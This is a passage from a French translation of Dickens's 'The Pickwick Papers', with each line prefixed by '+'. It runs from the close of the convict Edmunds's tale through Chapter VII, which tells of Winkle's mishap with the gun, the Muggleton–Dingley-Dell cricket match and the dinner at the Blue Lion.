+en chancelant et recula quelques pas, en voyant qu'Edmunds se levait
+aussi.
+
+«Parlez-moi! que j'entende le son de votre voix! s'écria le libéré
+palpitant d'émotion.
+
+--N'avance pas!» s'écria le vieillard en blasphémant.
+
+Mais Edmunds ne l'écoutait point et continuait à s'approcher de lui.
+
+«N'avance pas! répéta-t-il en frémissant de rage et de terreur; et en
+même temps, levant son bâton, il en frappa violemment le libéré au
+visage.
+
+--Mon père!... Misérable!...» murmura celui-ci entre ses dents serrées;
+puis, s'élançant avec fureur, il saisit le vieillard à la gorge; mais il
+se souvint que c'était son père, et ses mains retombèrent sans force à
+ses côtés.
+
+Le vieillard jeta un cri perçant, qui retentit à travers les champs
+déserts comme les hurlements d'un mauvais esprit. Sa face devint livide,
+le sang jaillit de sa bouche et de son nez, il chancela et tomba en
+arrière. Il s'était rompu un vaisseau, et lorsque son fils le releva de
+la mare de sang noir et épais qu'il avait vomie, il était mort.
+
+Dans un coin de notre cimetière, repose un homme que j'ai employé à mon
+service pendant trois années, après cet événement. Il était réellement
+repentant et corrigé. Personne n'a su durant sa vie qui il était, ni
+d'où il venait. C'était Edmunds le convict libéré.»
+
+
+
+
+
+CHAPITRE VII.
+
+Comment M. Winkle, au lieu de tirer le pigeon et de tuer la corneille,
+tira la corneille et blessa le pigeon. Comment le club de la Crosse de
+Dingley-Dell lutta contre celui de Muggleton, et comment Muggleton dîna
+aux dépens de Dingley-Dell. Avec diverses autres matières également
+instructives et intéressantes.
+
+
+Les fatigantes aventures de la journée, ou peut-être l'influence
+somnifère de l'histoire racontée par le ministre, opérèrent si fortement
+sur les nerfs de M. Pickwick qu'il était à peine au lit depuis cinq
+minutes, lorsqu'il s'endormit d'un sommeil profond. Il n'en fut tiré que
+le lendemain matin par les brillants rayons du soleil levant, qui
+pénétraient dans sa chambre, et qui semblaient lui adresser des
+reproches.
+
+M. Pickwick n'était pas paresseux: comme un vaillant guerrier, il
+s'élança hors de sa tente... je veux dire à bas de son lit.
+
+«Quel délicieux pays! s'écria-t-il avec enthousiasme en ouvrant sa
+jalousie. Ah! lorsqu'on a senti l'influence d'un semblable paysage,
+pourrait-on consentir à vivre pour n'apercevoir chaque jour que des
+briques et des ardoises? Pourrait-on continuer d'exister dans un lieu où
+l'on ne voit pas de foin, excepté dans les écuries; pas de plantes
+fleuries excepté des joubarbes sur les toits; pas de vaches, excepté
+celles de l'impériale des voitures? Rien qui rappelle le dieu Pan,
+excepté des pans de muraille. Pourrait-on consentir à traîner sa vie
+dans un tel séjour? je le demande, pourrait-on endurer une semblable
+existence?»
+
+Après avoir ainsi, durant longtemps, interrogé la solitude, suivant
+l'usage des plus grands poëtes, M. Pickwick allongea la tête hors de la
+croisée, et regarda autour de lui.
+
+La douce et pénétrante odeur des foins qu'on venait de faucher montait
+jusqu'à lui. Les mille parfums des petites fleurs au jardin embaumaient
+l'air d'alentour; la verte prairie brillait sous la rosée matinale, et
+chaque brin d'herbe étincelait agité par un doux zéphyr. Enfin les
+oiseaux chantaient, comme si chacune des larmes de l'aurore avait été
+pour eux une source d'inspiration. En contemplant ce spectacle, M.
+Pickwick tomba dans une douce et mystérieuse rêverie.
+
+«Ohé!» tels furent les sons qui le rappelèrent à la vie réelle.
+
+Sa vue se porta rapidement sur la droite; mais il ne découvrit personne.
+Ses yeux s'égarèrent vers la gauche et percèrent en vain l'étendue. Il
+mesura d'un regard audacieux le firmament; mais ce n'était point de là
+qu'on l'appelait; enfin il fit ce qu'un esprit vulgaire aurait fait du
+premier coup, il regarda dans le jardin et y vit M. Wardle.
+
+«Comment ça va-t-il? lui demanda son joyeux hôte. Belle matinée,
+n'est-ce pas? Charmé de vous voir levé de si bonne heure. Dépêchez-vous
+de descendre, je vous attendrai ici.»
+
+M. Pickwick n'eut pas besoin d'une seconde invitation. Dix minutes lui
+suffirent pour compléter sa toilette, et à l'expiration de ce terme, il
+était à côté du vieux gentleman.
+
+«Qu'est-ce qu'il y a? demanda M. Pickwick en voyant que son hôte était
+armé d'un fusil et qu'il y en avait un second près de lui, sur le gazon.
+
+--Votre ami et moi, répliqua M. Wardle, nous allons tirer des corneilles
+avant déjeuner. Il est très-bon tireur, n'est-il pas vrai?
+
+--Je le lui ai entendu dire, mais je ne lui ai jamais vu ajuster la
+moindre chose.
+
+--Je voudrais bien qu'il se dépêchât, murmura M. Wardle; et il appela:
+Joe! Joe!»
+
+Peu de temps après on vit sortir de la maison le gros joufflu, qui,
+grâce à l'influence excitante de la matinée, n'était guère assoupi
+qu'aux trois quarts.
+
+«Allez appeler le gentleman, lui dit son maître, et prévenez-le qu'il me
+trouvera avec M. Pickwick, dans le bois. Vous lui montrerez le chemin,
+entendez-vous?»
+
+Joe s'éloigna pour exécuter cette commission, et M. Wardle, portant les
+deux fusils, conduisit M. Pickwick hors du jardin.
+
+«Voici la place,» dit-il au bout de quelques minutes en s'arrêtant dans
+une avenue d'arbres. C'était un avertissement inutile, car le
+croassement continuel des pauvres corneilles indiquait suffisamment leur
+domicile.
+
+Le vieux gentleman posa l'un des fusils sur la terre et chargea l'autre.
+
+«Voilà nos gens, dit M. Pickwick. Et en effet on aperçut au loin M.
+Tupman, M. Snodgrass et M. Winkle, car Joe ne sachant pas, au juste,
+lequel de ces messieurs il devait amener, avait jugé, dans sa sagacité
+profonde, que pour prévenir toute erreur, le meilleur moyen était de les
+convoquer tous les trois.
+
+«Arrivez! arrivez! cria le vieux gentleman à M. Winkle. Un fameux tireur
+comme vous aurait dû être prêt depuis longtemps, même pour si peu de
+chose.»
+
+M. Winkle répondit par un sourire contraint, et ramassa le fusil qui lui
+était destiné, avec l'expression de physionomie qui aurait pu convenir à
+une corneille métaphysicienne, tourmentée par le pressentiment d'une
+mort prochaine et violente. C'était peut-être de l'indifférence, mais
+cela ressemblait prodigieusement à de l'abattement.
+
+Le vieux gentleman fit un signe, et deux gamins déguenillés commencèrent
+à grimper lestement sur deux arbres.
+
+«Pourquoi faire ces enfants?» demanda brusquement M. Pickwick.
+
+Son bon coeur s'était alarmé, car il avait tant entendu parler de la
+détresse des laboureurs, qu'il n'était pas éloigné de croire que leurs
+enfants pussent être forcés par la misère, à s'offrir eux-mêmes pour but
+aux chasseurs, afin d'assurer ainsi à leurs parents une chétive
+subsistance.
+
+«Seulement pour faire lever le gibier, répondit en riant M. Wardle.
+
+--Pour faire quoi?
+
+--Pour effrayer les corneilles.
+
+--Ah! voilà tout?
+
+--Oui. Vous voilà entièrement tranquille?
+
+--Tout à fait.
+
+--Très-bien! Commencerai-je? ajouta le vieux gentleman en s'adressant à
+M. Winkle.
+
+--Oui, s'il vous plaît, répondit celui-ci, enchanté d'avoir un moment de
+répit.
+
+--Reculez-vous un peu. Allons! voilà le moment!»
+
+L'un des enfants cria en secouant une branche, sur laquelle était un
+nid, et aussitôt une douzaine de jeunes corneilles, interrompues au
+milieu d'une très-bruyante conversation, s'élancèrent au dehors pour
+demander de quoi il s'agissait. Le vieux gentleman fit feu, par manière
+de réplique. L'un des oiseaux tomba et les autres s'envolèrent.
+
+--Ramassez-le Joe,» dit le vieux gentleman.
+
+Le corpulent jeune homme s'avança, et ses traits s'épanouirent en guise
+de sourire: des visions indistinctes de pâtés de corneilles flottaient
+devant son imagination. En emportant l'oiseau, il riait, car la victime
+était grasse et tendre.
+
+«Maintenant, à votre tour, monsieur Winkle, dit le vieux gentleman en
+rechargeant son fusil. Allons! tirez!»
+
+M. Winkle s'avança, et épaula son fusil. M. Pickwick et ses compagnons
+se reculèrent involontairement, pour éviter la pluie de corneilles
+qu'ils étaient sûrs de voir tomber sous le plomb dévastateur de leur
+ami. Il y eut une pose solennelle, un grand cri, un battement d'ailes,
+un léger clic....
+
+«Oh! oh! fit le vieux gentleman.
+
+--Il ne veut pas partir? demanda M. Pickwick.
+
+--Il a raté, répondit M. Winkle, qui était fort pâle, probablement de
+désappointement.
+
+--C'est étrange, dit le vieux gentleman en prenant le fusil. Cela ne lui
+est jamais arrivé.
+
+--Comment? je ne vois aucun reste de la capsule.
+
+--En vérité? répartit M. Winkle: j'aurai complétement oublié la
+capsule.»
+
+Cette légère omission fut réparée; M. Pickwick s'abrita de nouveau, et
+M. Tupman se mit derrière un arbre. M. Winkle fit un pas en avant, d'un
+air déterminé, en tenant son fusil à deux mains. L'enfant cria; quatre
+oiseaux s'envolèrent; M. Winkle leva son arme; on entendit une
+explosion, puis un cri d'angoisse; mais ce n'était pas le cri d'une
+corneille. M. Tupman avait sauvé la vie à beaucoup d'innocents oiseaux,
+en recevant dans son bras gauche une partie de la charge.
+
+Il serait impossible d'exprimer la confusion qui s'en suivit; de dire
+comment M. Pickwick, dans les premiers transports de son émotion, appela
+M. Winkle, misérable! comment M. Tupman était étendu sur le gazon;
+comment M. Winkle, frappé d'horreur, s'était agenouillé auprès de lui;
+comment M. Tupman, dans le délire, invoquait plusieurs noms de baptême
+féminins, puis ouvrait un oeil, puis l'autre, et retombait en arrière, en
+les fermant tous les deux. Une telle scène serait aussi difficile à
+décrire, qu'il le serait de peindre le malheureux blessé revenant
+graduellement à lui-même, voyant bander ses plaies avec des mouchoirs,
+et regagnant lentement la maison, appuyé sur ses amis inquiets.
+
+Les dames étaient sur le seuil de la porte, attendant le retour de ces
+messieurs pour déjeuner. La tante demoiselle brillait entre toutes; elle
+sourit et leur fit signe de venir plus vite. Il était évident qu'elle ne
+savait point l'accident arrivé. Pauvre créature! Il y a des moments où
+l'ignorance est véritablement un bienfait.
+
+On approchait de plus en plus.
+
+«Qu'est-il donc arrivé au vieux petit monsieur? dit à demi-voix miss
+Isabella Wardle. La tante demoiselle ne fit pas attention à cette
+remarque. Elle crut qu'il s'agissait de M. Pickwick; car à ses yeux,
+Tracy Tupman était un jeune homme: elle voyait ses années à travers un
+verre rapetissant.
+
+--Ne vous effrayez point! cria M. Wardle à ses filles; et la petite
+troupe était tellement pressée autour de M. Tupman, qu'on ne pouvait pas
+encore distinguer clairement la nature de l'événement.
+
+--Ne vous effrayez point, répéta M. Wardle quelques pas plus loin.
+
+--Qu'y a-t-il donc! s'écrièrent les dames horriblement alarmées par
+cette précaution.
+
+--IL est arrivé un petit accident à M. Tupman; voilà tout.»
+
+La tante demoiselle poussa un cri perçant, ferma les yeux et se laissa
+tomber à la renverse dans les bras des deux jeunes personnes.
+
+«Jetez-lui de l'eau froide au visage, s'écria le vieux gentleman.
+
+--Non! Non! murmura la tante demoiselle. Je suis mieux maintenant,
+Bella.... Émily.... Un chirurgien.... Est-il blessé? est-il mort?
+est-il.... Ah! ah! ah!...» Et la tante demoiselle, poussant de nouveaux
+cris, eut une attaque de nerfs n° 2.
+
+«Calmez-vous, dit M. Tupman affecté presque jusqu'aux larmes de cette
+expression de sympathie pour ses souffrances. Chère demoiselle,
+calmez-vous!
+
+--C'est sa voix! s'écria la tante demoiselle; et de violents symptômes
+d'une attaque n° 3 se manifestèrent aussitôt.
+
+--Ne vous tourmentez pas, je vous en supplie, très-chère demoiselle,
+reprit M. Tupman d'une voix consolante. Je suis fort peu blessé, je vous
+assure.
+
+--Vous n'êtes donc pas mort? s'écria la nerveuse personne. Oh! dites que
+vous n'êtes pas mort.
+
+--Ne faites pas la folle, Rachel, interrompit M. Wardle, d'une manière
+plus brusque que ne semblait le comporter la nature poétique de cette
+scène. Quelle diable de nécessité y a-t-il, qu'il vous dise lui-même
+qu'il n'est pas mort?
+
+--Non! je ne le suis pas, reprit M. Tupman; je n'ai pas besoin d'autres
+secours que les vôtres. Laissez-moi m'appuyer sur votre bras....» Et il
+ajouta à son oreille: «O miss Rachel!» Pleine d'agitation, la dame de
+ses pensées s'avança et lui offrit son bras. Ils entrèrent ensemble dans
+le salon. M. Tracy Tupman pressa doucement sur ses lèvres une main qu'on
+lui abandonna, et se laissa tomber ensuite sur un canapé.
+
+«Vous trouvez-vous mal? demanda Rachel avec anxiété.
+
+--Non, ce n'est rien; je serai mieux dans un instant, répondit M. Tupman
+en fermant les yeux.
+
+--Il dort! murmura la tante demoiselle (il avait clos ses paupières
+depuis près de vingt secondes). Il dort! cher M. Tupman!»
+
+M. Tupman sauta sur ses pieds. Oh! répétez ces paroles! s'écria-t-il.
+
+La dame tressaillit. «Sûrement vous ne les avez pas entendues, dit-elle
+avec pudeur.
+
+--Oh! si, je les ai entendues, répliqua chaleureusement M. Tupman.
+Répétez ces paroles, si vous voulez que je guérisse! répétez-les.
+
+--Silence! dit la dame! voilà mon frère!»
+
+M. Tracy Tupman reprit sa première position, et M. Wardle entra dans la
+chambre, accompagné d'un chirurgien.
+
+Le bras fut examiné; la blessure pansée, et déclarée fort légère; et
+l'esprit des assistants se trouvant ainsi rassuré ils procédèrent à
+satisfaire leur appétit. La gaieté brillait de nouveau sur leurs
+visages. M. Pickwick seul restait silencieux et réservé; la doute et la
+méfiance se peignaient sur sa physionomie expressive, car sa confiance
+en M. Winkle avait été ébranlée, grandement ébranlée par les aventures
+du matin.
+
+«Jouez-vous à la crosse? demanda M. Wardle au chasseur.
+
+Dans tout autre temps M. Winkle aurait répondu d'une manière
+affirmative, mais il sentit la délicatesse de sa position, et répliqua
+modestement: «Non monsieur.
+
+--Et vous, monsieur? demanda M. Snodgrass au joyeux vieillard.
+
+--J'y jouais autrefois, répliqua celui-ci; mais j'y ai renoncé
+désormais. Cependant je souscris au club, quoique je ne joue plus.
+
+--N'est-ce pas aujourd'hui qu'a lieu la grande partie entre les camps
+opposés de Muggleton et de Dingley-Dell? demanda M. Pickwick.
+
+--Oui, répliqua leur hôte: vous y viendrez, n'est-ce pas?
+
+--Oui, monsieur, répondit M. Pickwick: j'ai grand plaisir à voir des
+exercices auxquels on peut se livrer sans danger, et dans lesquels la
+maladresse des gens ne met pas en péril la vie de leurs semblables.» En
+prononçant ces mots M. Pickwick fit une pause expressive, et regarda
+fixement M. Winkle, qui ne put soutenir sans frémir le coup d'oeil
+pénétrant de son mentor. Celui-ci ajouta alors: «Ne serait-il pas
+convenable de confier notre ami blessé aux soins de ces dames?
+
+--Vous ne pouvez pas me placer dans de meilleures mains, murmura M
+Tupman.
+
+--Ce serait impossible,» ajouta M. Snodgrass.
+
+Il fut donc convenu que M. Tupman resterait à la maison sous la
+surveillance des dames, et que la portion masculine de la société,
+conduite par M. Wardle, irait juger des coups dans ce combat d'habileté
+qui avait tiré Muggleton de sa torpeur, et inoculé à Dingley-Dell une
+excitation fébrile.
+
+Il n'y avait guère qu'une demi-lieue de distance à parcourir, et le
+sentier couvert de mousse passait par des allées ombragées. La
+conversation roula principalement sur les délicieux paysages qui se
+découvraient tour à tour, et M. Pickwick regretta presque d'avoir été si
+vite, lorsqu'il se trouva dans la grande rue de Muggleton.
+
+Toutes les personnes dont le génie est doué de la moindre propension
+géographique savent, nécessairement, que la ville de Muggleton jouit
+d'une corporation, qu'elle possède un maire, des bourgeois, des
+électeurs: et quiconque consultera les Adresses du maire aux _freemen_,
+ou celles des _freemen_ au maire, ou celles du maire et des _freemen_ à
+la corporation, ou celles du maire, des _freemen_ et de la corporation
+au Parlement, apprendra par là ce qu'il aurait dû connaître auparavant:
+à savoir, que Muggleton est un _bourg_ ancien et loyal, unissant une
+ferveur zélée pour les principes du christianisme à un attachement
+solide aux droits commerciaux. En preuve de quoi, le maire, la
+corporation et divers habitants, ont présenté à différentes reprises
+soixante-huit pétitions pour qu'on permit la vente des bénéfices dans
+l'église, quatre-vingt-six pétitions pour qu'on défendît la vente dans
+les rues le dimanche, mille quatre cent vingt pétitions contre la traite
+des noirs en Amérique, avec un nombre égal de pétitions contre toute
+espèce d'intervention législative, au sujet du travail exagéré des
+enfants, dans les manufactures anglaises.
+
+Lorsque M. Pickwick se trouva dans la grande rue de cet illustre bourg,
+il contempla la scène qui s'offrit à ses yeux avec une curiosité
+mélangée d'intérêt.
+
+La place du marché avait la forme d'un carré au centre duquel s'était
+érigée une vaste auberge. Son enseigne énorme étalait un objet fort
+commun dans les arts, mais qu'on rencontre rarement dans la nature,
+c'est-à-dire un lion bleu, ayant trois pattes en l'air et se balançant
+sur l'extrémité de l'ongle central de la quatrième. On voyait aux
+environs un bureau d'assurance contre l'incendie et celui d'un
+commissaire-priseur, les magasins d'un marchand de blé et d'un marchand
+de toile, les boutiques d'un sellier, d'un distillateur, d'un épicier et
+d'un cordonnier, lequel cordonnier faisait également servir son local à
+la diffusion des chapeaux, des bonnets, des hardes de toute espèce, des
+parapluies et des connaissances utiles. Il y avait en outre une petite
+maison de briques rouges, précédée d'une sorte de cour pavée, et que
+tout le monde, à la première vue, reconnaissait pour appartenir à un
+avoué. Il y avait encore une autre maison en briques rouges sur la porte
+de laquelle s'étalait une large plaque de cuivre annonçant, en
+caractères très-lisibles, que cette maison appartenait à un chirurgien.
+Quelques jeunes gens se dirigeaient vers le jeu de crosse, et deux ou
+trois boutiquiers, se tenant debout sur le pavé de leur porte, avaient
+l'air fort désireux de se rendre au même endroit, comme ils auraient pu
+le faire, selon toutes les apparences, sans perdre un grand nombre de
+chalands.
+
+M. Pickwick s'était déjà arrêté pour faire ces observations qu'il se
+proposait de noter à son aise, mais comme ses amis avaient quitté la
+grande rue, il se hâta de les rejoindre et les retrouva en vue du champ
+de bataille.
+
+Les barres que les joueurs doivent conquérir ou défendre étaient déjà
+placées, aussi bien qu'une couple de tentes pour servir au repos et au
+rafraîchissement des parties belligérantes. Mais le jeu n'était pas
+encore commencé. Deux ou trois Dingley-Dellois ou Muggletoniens
+s'amusaient d'un air majestueux à jeter négligemment leur balle d'une
+main dans l'autre. Ils avaient des chapeaux de paille, des jaquettes de
+flanelle et des pantalons blancs, ce qui leur donnait tout à fait la
+tournure d'amateurs tailleurs de pierre. Quelques autres gentlemen,
+vêtus de la même manière, étaient éparpillés autour des tentes, vers
+l'une desquelles M. Wardle conduisit sa société.
+
+Plusieurs douzaines de «Comment vous portez-vous?» saluèrent l'arrivée
+du vieux gentleman, et il y eut un soulèvement général de chapeaux de
+paille, avec une inclinaison contagieuse de gilets de flanelle,
+lorsqu'il introduisit ses hôtes comme des gentlemen de Londres, qui
+désiraient vivement assister aux agréables divertissements de la
+journée.
+
+«Je crois, monsieur, que vous feriez mieux d'entrer dans la marquise,
+dit un très-volumineux gentleman, dont le corps paraissait être la
+moitié d'une gigantesque pièce de flanelle, perchée sur une couple de
+traversins.
+
+--Vous y seriez beaucoup mieux, monsieur, ajouta un autre gentleman
+aussi volumineux que le précédent, et qui ressemblait à l'autre moitié
+de la susdite pièce de flanelle.
+
+--Vous êtes bien bon, répondit M. Pickwick.
+
+--Par ici, reprit le premier gentleman; c'est ici que l'on marque, c'est
+la place la meilleure;» et il les précéda en soufflant comme un cheval
+poussif.
+
+Jeu superbe,--noble occupation,--bel exercice,--charmant! Telles furent
+les paroles qui frappèrent les oreilles de M. Pickwick en entrant dans
+la tente, et le premier objet qui s'offrit à ses regards fut son ami de
+la voiture de Rochester. Il était en train de pérorer, à la grande
+satisfaction d'un cercle choisi des joueurs élus par la ville de
+Muggleton. Son costume s'était légèrement amélioré. Il avait des bottes
+neuves, mais il était impossible de le méconnaître.
+
+L'étranger reconnut immédiatement ses amis. Avec son impétuosité
+ordinaire et en parlant continuellement, il se précipita vers M.
+Pickwick, le saisit par la main et le tira vers un siége, comme si tous
+les arrangements du jeu avaient été spécialement sous sa direction.
+
+«Par ici!--par ici!--ça sera fièrement amusant,--muids de
+bière,--monceaux de boeuf,--tonneaux de moutarde,--glorieuse
+journée,--asseyez-vous,--mettez-vous à votre aise,--charmé de vous voir,
+très-charmé.»
+
+M. Pickwick s'assit comme on le lui disait, et MM. Winkle et Snodgrass
+suivirent également les indications de leur mystérieux ami. M. Wardle
+l'examinait avec un étonnement silencieux.
+
+--M. Wardle, un de mes amis, dit M. Pickwick à l'étranger.
+
+--Un de vos amis? s'écria celui-ci. Mon cher monsieur, comment vous
+portez-vous?--Les amis de nos amis sont....--Votre main, monsieur.»
+
+En enfilant ces phrases, l'étranger saisit la main de M. Wardle avec
+toute la chaleur d'une vieille intimité, puis se recula de deux ou trois
+pas, comme pour mieux voir son visage et sa tournure, puis secoua sa
+main de nouveau plus chaudement encore que la première fois, s'il est
+possible.
+
+«Et comment êtes-vous venu ici? demanda M. Pickwick avec un sourire où
+la bienveillance luttait contre la surprise.
+
+--Venu?--Je loge à l'auberge de la Couronne, à Muggleton.--Rencontré une
+société.--Jaquettes de flanelle,--pantalons blancs,--sandwiches aux
+anchois,--rognons braisés,--fameux gaillards,--charmant!»
+
+M. Pickwick connaissait assez le système sténographique de l'étranger
+pour conclure de cette communication rapide et disloquée que, d'une
+manière ou d'une autre, il avait fait connaissance avec les
+Muggletoniens, et que, par un procédé qui lui était particulier, il
+était parvenu à en extraire une invitation générale. La curiosité de M.
+Pickwick ainsi satisfaite, il ajusta ses lunettes et se prépara à
+considérer le jeu qui venait de commencer.
+
+Les deux joueurs les plus renommés du fameux club de Muggleton, M.
+Dumkins et M. Podder, tenant leurs crosses à la main, se portèrent
+solennellement vers leurs guichets respectifs. M. Luffey, le plus noble
+ornement de Dingley-Dell, fut choisi pour _bouler_ contre le redoutable
+Dumkins, et M. Struggles fut élu pour rendre le même office à
+l'invincible Podder. Plusieurs joueurs furent placés pour _guetter_ les
+balles en différents endroits de la plaine, et chacun d'eux se mit dans
+l'attitude convenable, en appuyant une main sur chaque genou et en se
+courbant, comme s'il avait voulu offrir un dos favorable à quelque
+apprenti _saute-mouton_. Tous les joueurs classiques se posent ainsi, et
+même on pense généralement qu'il serait impossible de bien voir venir
+une balle dans une autre attitude.
+
+Les arbitres se placèrent derrière les guichets et les compteurs se
+préparèrent à noter les points. Il se fit alors un profond silence. M.
+Luffey se retira quelques pas en arrière du guichet de l'immuable
+Podder, et, durant quelques secondes, il appliqua sa balle à son oeil
+droit. Dumkins, les yeux fixés sur chaque mouvement de Luffey, attendait
+l'arrivée de la balle avec une noble confiance.
+
+«Attention, s'écria soudain le _bouleur_, et en même temps la balle
+s'échappe de sa main, rapide comme l'éclair, et se dirige vers le centre
+du guichet. Le prudent Dumkins était sur ses gardes; il reçut la balle
+sur le bout de sa crosse et la fit voler au loin par-dessus les
+éclaireurs, qui s'étaient baissés justement assez pour la laisser passer
+au-dessus de leur tête.
+
+--Courez! courez!--Une autre balle!--Maintenant!
+--Allons!--Jetez-la!--Allons!--Arrêtez-la!--Une autre!
+--Non!--Oui!--Non!--Jetez-la!--Jetez-la.» Telles furent les acclamations
+qui suivirent ce coup, à la conclusion duquel Muggleton avait gagné deux
+points.
+
+Cependant Podder n'était pas moins actif à se couvrir de lauriers, dont
+l'éclat rejaillissait également sur Muggleton. Il bloquait les balles
+douteuses, laissait passer les mauvaises, prenait les bonnes et les
+faisait voler dans tous les coins de la plaine. Les coureurs étaient sur
+les dents. Les _bouleurs_ furent changés et d'autres _boulèrent_ jusqu'à
+ce que leur bras en devinssent roides; mais Dumkins et Podder restèrent
+invaincus. Vainement la balle était lancée droit au centre du guichet,
+ils y arrivaient avant elle et la repoussaient au loin. Un gentleman
+d'un certain âge s'efforçait-il d'arrêter son mouvement, elle roulait
+entre ses jambes ou glissait entre ses doigts; un mince gentleman
+essayait-il de l'attraper, elle lui choquait le nez et rebondissait
+plaisamment avec une nouvelle force, pendant que les yeux du joueur
+maladroit se remplissaient de larmes et que son corps se tordait par la
+violence de ses angoisses. Enfin, quand on fit le compte de Dumkins et
+de Podder, Muggleton avait marqué cinquante-quatre points, tandis que la
+marque des Dingley-Dellois était aussi blanche que leurs visages.
+L'avantage était trop grand pour être reconquis. Vainement l'impétueux
+Luffey, vainement l'enthousiaste Struggles firent-ils tout ce que
+l'expérience et le savoir pouvaient leur suggérer pour regagner le
+terrain perdu par Dingley-Dell, tout fut inutile, et bientôt
+Dingley-Dell fut obligé de reconnaître Muggleton pour son vainqueur.
+
+Cependant l'étranger à l'habit vert n'avait fait que boire, manger et
+parler à la fois et sans interruption. A chaque coup bien joué, il
+exprimait son approbation d'une manière pleine de condescendance et qui
+ne pouvait manquer d'être singulièrement flatteuse pour les joueurs qui
+la méritaient. Mais aussi, chaque fois qu'un joueur ne pouvait saisir la
+balle ou l'arrêter, il fulminait contre le maladroit. Ah!
+stupide!--Allons, maladroit!--Imbécile!--Cruche! etc. Exclamations au
+moyen desquelles il se posait aux yeux des assistants, comme un juge
+excellent, infaillible dans tous les mystères du noble jeu de la crosse.
+
+«Fameuse partie! bien jouée! Certains coups admirables! dit l'étranger à
+la fin du jeu, au moment où les deux partis se pressaient dans la tente.
+
+--Vous y jouez, monsieur? demanda M. Wardle qui avait été amusé par sa
+loquacité.
+
+--Joué? parbleu! Mille fois. Pas ici; aux Indes occidentales. Jeu
+entraînant! chaude besogne, très-chaude!
+
+--Ce jeu doit être bien échauffant dans un pareil climat! fit observer
+M. Pickwick.
+
+--Échauffant? Dites brûlant! grillant! dévorant! Un jour, je jouais un
+seul guichet contre mon ami le colonel sir Thomas Blazo, à qui ferait le
+plus de points. Jouant à pile ou face qui commencera, je gagne: sept
+heures du matin: six indigènes pour ramasser les balles. Je commence. Je
+renvoie toutes les balles du colonel. Chaleur intense! Les indigènes se
+trouvent mal. On les emporte. Une autre demi-douzaine les remplace; ils
+se trouvent mal de même. Blazo joue, soutenu par deux indigènes. Moi,
+infatigable, je lui renvoie toujours ses balles. Blazo se trouve mal
+aussi. Enfoncé le colonel! Moi, je ne veut pas cesser. Quanko Samba
+restait seul. Le soleil était rouge, les crosses brûlaient comme des
+charbons ardents, les balles avaient des boutons de chaleur. Cinq cent
+soixante-dix points! Je n'en pouvais plus. Quanko recueille un reste de
+force. Sa balle renverse mon guichet; mais je prends un bain, et vais
+dîner.
+
+--Et que devint ce monsieur... Chose? demanda un vieux gentleman.
+
+--Qui? Le colonel Blazo?
+
+--Non, l'autre gentleman.
+
+--Quanko Samba?
+
+--Oui, monsieur.
+
+--Pauvre Quanko! n'en releva jamais, quitta le jeu, quitta la vie,
+mourut, monsieur!» En prononçant ces mots, l'étranger ensevelit son
+visage dans un pot d'ale. Mais était-ce pour en savourer le contenu, ou
+pour cacher son émotion? C'est ce que nous n'avons jamais pu éclaircir.
+Nous savons seulement qu'il s'arrêta tout à coup, qu'il poussa un long
+et profond soupir, et qu'il regarda avec anxiété deux des principaux
+membres du club de Dingley-Dell qui s'approchaient de M. Pickwick, et
+qui lui disaient:
+
+«Nous allons faire un modeste repas au _Lion bleu_. Nous espérons,
+monsieur, que vous voudrez bien y prendre part, avec vos amis.
+
+--Et naturellement, dit M. Wardle, parmi nos amis nous comptons
+monsieur..., et il se tourna vers l'étranger.
+
+--Jingle, répondit cet universel personnage. Alfred Jingle, esquire, de
+Sansterre.
+
+--J'accepte avec grand plaisir, dit M. Pickwick.
+
+--Et moi aussi, cria M. Alfred Jingle en prenant d'un côté le bras de M.
+Wardle, et, de l'autre, celui de M. Pickwick, et en murmurant à
+l'oreille de celui-ci:
+
+--Fameux dîner! froid, mais bon. J'ai lorgné dans la chambre, ce matin:
+volailles et pâtés, et le reste. Charmantes gens, et polis par-dessus le
+marché, très-polis.»
+
+Comme il n'y avait point d'autres préliminaires à arranger, la compagnie
+traversa le bourg en petits groupes, et un quart d'heure après elle
+était tout entière assise dans la grande salle du _Lion bleu_ de
+Muggleton.
+
+M. Dumkins remplit les fonctions de président, et M. Luffey celles de
+vice-président.
+
+Il y eut un grand cliquetis de paroles et d'assiettes, de fourchettes
+et de couteaux. Trois garçons couraient de tous côtés, et les mets
+substantiels disparaissaient rapidement. Le facétieux M. Jingle
+contribuait, au moins comme une demi-douzaine d'hommes ordinaires, à
+chacune de ces causes de confusion. Lorsque tous les convives eurent
+mangé autant qu'ils purent, la nappe fut enlevée; des bouteilles, des
+verres et le dessert furent placés sur la table, et les garçons se
+retirèrent pour débarrasser, en d'autres termes pour s'approprier tous
+les restes mangeables ou buvables sur lesquels il leur fut possible de
+mettre la main.
+
+Bientôt on n'entendit plus dans la salle qu'un vaste murmure de
+conversations et d'éclats de rire. Il se trouvait là un petit homme
+bouffi, qui avait un air de «ne-me-dites-rien, ou-je-vous-contredirai,»
+et qui jusqu'alors était demeuré fort tranquille. Seulement, lorsque,
+par accident, la conversation se ralentissait, il regardait autour de
+lui, comme s'il avait eu envie de dire quelque chose de remarquable, et
+de temps en temps il faisait entendre une sorte de toux sèche d'une
+inexprimable dignité. A la fin, pendant un instant de silence
+comparatif, le petit homme s'écria d'une voix haute et solennelle:
+«Monsieur Luffey!»
+
+Tout le monde se tut, et l'individu interpellé répliqua, au milieu d'un
+profond silence: «Monsieur?»
+
+«Je désire vous adresser quelques paroles, monsieur, si vous voulez
+engager ces messieurs à remplir leurs verres.»
+
+M. Jingle, d'un ton protecteur, s'écria: «Écoutez! écoutez!» et ces
+paroles furent répétées en choeur par toute la compagnie. Le
+vice-président prit un air de gravité attentive et dit: «Monsieur
+Staple?»
+
+«Monsieur! dit le petit homme en se levant, je désire adresser ce que
+j'ai à dire à vous et non pas à notre digne président, parce que notre
+digne président est en quelque sorte, et je puis dire en grande partie,
+le sujet de ce que j'ai à dire, et je puis dire à... à...
+
+--A démontrer, suggéra M. Jingle.
+
+--Oui, à démontrer, reprit le petit homme; je remercie mon honorable
+ami, s'il veut me permettre de l'appeler ainsi (quatre _écoutez!_ et un
+_certainement_ de M. Jingle) pour la suggestion. Monsieur, je suis un
+Dellois, un Dingley-Dellois. (Applaudissements.) Je ne puis réclamer
+l'honneur d'ajouter une unité au chiffre de la population de Muggleton.
+Et je l'avouerai franchement, monsieur, je ne désire point cet honneur.
+Je vous dirai pourquoi, monsieur. (Écoutez!) Je reconnaîtrai volontiers
+à Muggleton toutes les distinctions, tous les honneurs qu'il peut
+réclamer; ils sont trop nombreux et trop bien connus pour qu'il soit
+nécessaire que je les récapitule. Mais, monsieur, tandis que nous nous
